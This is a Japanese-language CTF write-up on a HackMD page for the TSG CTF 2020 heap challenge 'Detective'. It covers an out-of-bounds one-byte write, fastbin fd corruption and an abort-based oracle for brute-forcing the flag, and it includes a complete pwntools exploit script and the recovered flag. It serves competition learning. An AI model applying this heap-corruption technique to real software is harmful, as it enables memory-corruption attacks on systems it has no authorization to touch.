Xornet
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    --- tags: pwn --- # TSG CTF 2020 - Detective これまでに解いた問題: https://hackmd.io/@Xornet/BkemeSAhU ## Writeup ### Outline Heap上にインデックスで指定したフラグ(1バイトのみ)が配置される。しかしチャンクに対してshow機能が無いので読むことは叶わない。 そこでfastbin中のfdの末尾1バイトを書き換えて事前に書き込み可能な部分を指すようにする。ここがmallocされる際にサイズチェックが走るので事前に対応する箇所を予想してサイズヘッダを用意しておく。 もし正しければ特にabortしないのでそれをオラクルにしてフラグの先頭から全探索する。 ### checksec ``` Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``` ### Binary * libc: 2.31 * 保持可能ポインタ: 2 * malloc可能サイズ: 0x100未満 * コマンド * allocate: `calloc(1, size)`して中身を書き込む * deallocate: 指定インデックスにあるポインタをfreeする * read_flag: 指定インデックスにあるポインタから位置を指定してフラグ(事前に指定たインデックスにある1文字)を書き込む、正の値であれば位置は幾らでも良いのでOOBになる ### フラグ形式 この問題はフラグを先頭から確定させていくのだが、インデックスに対しそれがどの文字であるのか総当りで調べる。フラグの文字の制約は次の`sanity_check`関数で示されている。 ```c void sanity_check(char *pcParm1) { int iVar1; size_t sVar2; int local_c; sVar2 = strlen(pcParm1); if (sVar2 != 0x28) { /* WARNING: Subroutine does not return */ exit(-1); } iVar1 = strncmp(pcParm1,"TSGCTF{",7); if (iVar1 != 0) { /* WARNING: Subroutine does not return */ exit(-1); } if (pcParm1[0x27] != '}') { /* WARNING: Subroutine does not return */ exit(-1); } local_c = 7; while( true ) { if (0x26 < local_c) { return; } if (((pcParm1[(long)local_c] < 'a') || ('f' < pcParm1[(long)local_c])) && ((pcParm1[(long)local_c] < '0' || ('9' < pcParm1[(long)local_c])))) break; local_c = local_c + 1; } /* WARNING: Subroutine does not return */ exit(-1); } ``` フラグは16進数で使われる文字(`[0-9a-f]`)だけで構成されていることがわかる。 ### Vuln `read_flag`関数にOOBが存在する ```c void read_flag(void) { uint p_idx; uint uVar1; printf("index > "); p_idx = get_index(); if (*(long *)(ptrs + (ulong)p_idx * 8) == 0) { puts("create a buffer"); } else { if (flag == '\0') { puts("you have already read it"); } else { printf("at > "); uVar1 = get_num(); *(char *)(*(long *)(ptrs + (ulong)p_idx * 8) + (ulong)uVar1) = flag; flag = '\0'; } } return; } ``` `at > `で書き込むアドレスを相対的に指定出来るのだが、正の数字であれば幾らでも良い。よって書き込みたいチャンクの下に既にfreeされたチャンクがあればそのfd, nextを書き換えることが可能 今回はcallocが使われてtcacheからチャンクは確保されないのでfastbinにあるチャンクを狙ってfdを書き換えた。 ### fd書き換え callocは何故かtcacheから確保しないのでfastbinを使う。そのためにまずはtcacheを全部埋める。 今回はfdを書き換えられるサイズと、その書き込みの踏み台にするチャンクのサイズの2つを使う。 次のようなチャンク配置を用意する ``` target: Bとアドレスの最下位バイトだけが違うチャンク A(freed -> used): read_flagで指定するチャンク B(freed): fd -> somewhere C(freed): fd -> B, read_flagでfdを書き換えてfdをtargetに向ける ``` インデックスが2つまでしか持てないという都合で一旦fastbinに退避させておいたAを再度確保して`read_flag`の書き込み先に指定し、`at`の指定でCのfdの末尾1バイトを変えることでtarget付近にfdを向ける フラグの形式は前述した通りなので`C->fd`の末尾は`0x30 ~ 0x39, 0x61 ~ 0x66`になる。よってもしここにCと同じサイズのチャンクヘッダがあれば何度かのcallocでここが確保されるはずである。 では逆にここに無かった場合はどうなるかというとfastbinには確保時にチャンクのサイズヘッダを確認するという処理が走るのでもしまともなサイズヘッダが無ければabortする。というわけでこれがフラグ判定オラクルになる そういうわけでtargetチャンクを生成する際にどの文字がフラグに来るかを想定し、事前にチャンクヘッダを用意しておく ## Code ```python from pwn import p64, u64, ELF, process, remote def select(s, sel, c=b"> "): s.recvuntil(c) s.sendline(str(sel)) def alloc(s, idx, size, data=b"/bin/sh"): select(s, 0) s.recvuntil(b"index > ") s.sendline(str(idx)) s.recvuntil(b"size > ") s.sendline(str(size)) s.recvuntil(b"data > ") s.sendline(data) def dealloc(s, idx): select(s, 1) s.recvuntil(b"index > ") s.sendline(str(idx)) def _read(s, idx, at): select(s, 2) s.recvuntil(b"index > ") s.sendline(str(idx)) s.recvuntil(b"at > ") s.sendline(str(at)) if __name__ == "__main__": """ Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled """ """ - deallocate時にポインタはクリアされる - フラグを1文字だけ読み込んでHeapからの相対書き込みが可能 """ """ 1. fastbin: A -> Bとなっている時に相対書き込みでAのfdの末尾バイトをflag[i]にすることが出来る 2. すると次の次の確保アドレスが確定する 3. 事前にどのフラグかを予想しておき、そこが正常に取られるように偽装チャンク(というかヘッダ)を用意しておく 4. もし無事に取得出来たらフラグ確定(オラクルになる) 5. 最悪アクセス数は32*16 """ flag = "" size = 0x78 for flag_idx in range(7, 39): for c in "0123456789abcdef": # s = process("./detective") s = remote("35.221.81.216", 30001) s.recvuntil(b"index > ") s.sendline(str(flag_idx)) # fill tcache for _ in range(7): alloc(s, 1, size) dealloc(s, 1) alloc(s, 1, 0x18) dealloc(s, 1) alloc(s, 0, 0x18) dealloc(s, 0) pad = ord(c) - 0x10 - 0x8 payload = b"a" * pad + p64(0x81) alloc(s, 0, size, payload) alloc(s, 1, size) dealloc(s, 0) dealloc(s, 1) alloc(s, 0, 0x18) _read(s, 0, 0xa0) alloc(s, 0, size) try: alloc(s, 0, size) # if size is valid, I can get a chunk!! print("[+] found:", c) flag += c break except EOFError: pass print(f"TSGCTF{{{flag}}}") ``` ## Flag `TSGCTF{67f7d58ac9301f273d16aec9829847b0}` ## 感想 CTF始めたてのWebやってた頃に好きだったBlind SQLインジェクションを思い出せて楽しかったです。これまでやってきた問題と違って知識や手法の他に別ベクトルでの発想を要求されるのが斬新でした。 1桁Solves(5人目だった)の内に解けたのと結構すんなり解法が出てきた(実装が面倒だった、見返すと全然書いてないけど)のでここ1ヶ月の成果が出たのではないでしょうか? 実装はチームメイトに投げましたがKarteも以前見た資料を元に解法を提案出来たので少しずつPwnの貢献度が上がって嬉しいです(でもRACHELLはHouse of Corrosionなんもわからんで死んだ) 院試の願書出したらまたこのコーナー再開します、早ければ火曜に

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully